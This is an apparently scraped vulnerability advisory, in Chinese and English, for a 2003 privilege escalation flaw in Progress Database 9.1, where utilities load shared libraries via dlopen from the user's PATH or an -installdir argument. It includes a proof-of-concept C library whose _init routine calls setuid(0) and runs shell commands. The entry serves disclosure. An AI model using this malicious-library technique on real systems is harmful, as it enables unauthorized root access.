https://www.exploit-db.com/exploits/22773
https://www.securityfocus.com/bid/87455
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200308-028

ProgressDatabase9.1至9.1D06版本相信用户输入端使用dlopen查找和加载库，本地用户借助(1)指向恶意库的PATH环境变量，如使用libjutil.soin_proapsv，或者(2)-installdir命令行参数，如使用librocket_r.soin_dbagent.获取特权。

source: http://www.securityfocus.com/bid/7916/info

It has been reported that Progress database does not properly handle untrusted input when opening shared libraries. Specifically, the dlopen() function used by several Progress utilities checks the user's PATH environment variable when including shared object libraries. If any shared objects are found, Progress will load and execute them. Due to this, an attacker may be able to gain unauthorized privileges.

Any library code loaded will execute with elevated privileges. 

#include <stdio.h>
#include <string.h>

// If you wanted to get creative you can hack out some fake functions for
// use later ... but theres no need... just use _init

int ehnLogOpen(int argc, char * const argv[], const char *optstring) {
printf("This is a fake ehnLogOpen n");
}
int ehnLogClose(int argc, char * const argv[], const char *optstring) {
printf("This is a fake ehnLogClosen");
}

_init() {
setuid(0);
setgid(0);
printf("bullshit library loadedn");
system("/usr/bin/id > /tmp/p00p");
system("cat /tmp/p00p");
}

Progress Database 9.1

来源:www.secnetops.com
链接:http://www.secnetops.com/research/advisories/SRT2003-06-13-1009.txt
来源:www.secnetops.com
链接:http://www.secnetops.com/research/advisories/SRT2003-06-13-0945.txt
来源:BUGTRAQ
名称:20030614SRT2003-06-13-1009-Progress_dbagent-installdirdlopen()issue
链接:http://marc.theaimsgroup.com/?l=bugtraq&m;=105561189625082&w;=2
来源:BUGTRAQ
名称:20030614SRT2003-06-13-0945-ProgressPATHbaseddlopen()issue
链接:http://marc.theaimsgroup.com/?l=bugtraq&m;=105561134624665&w;=2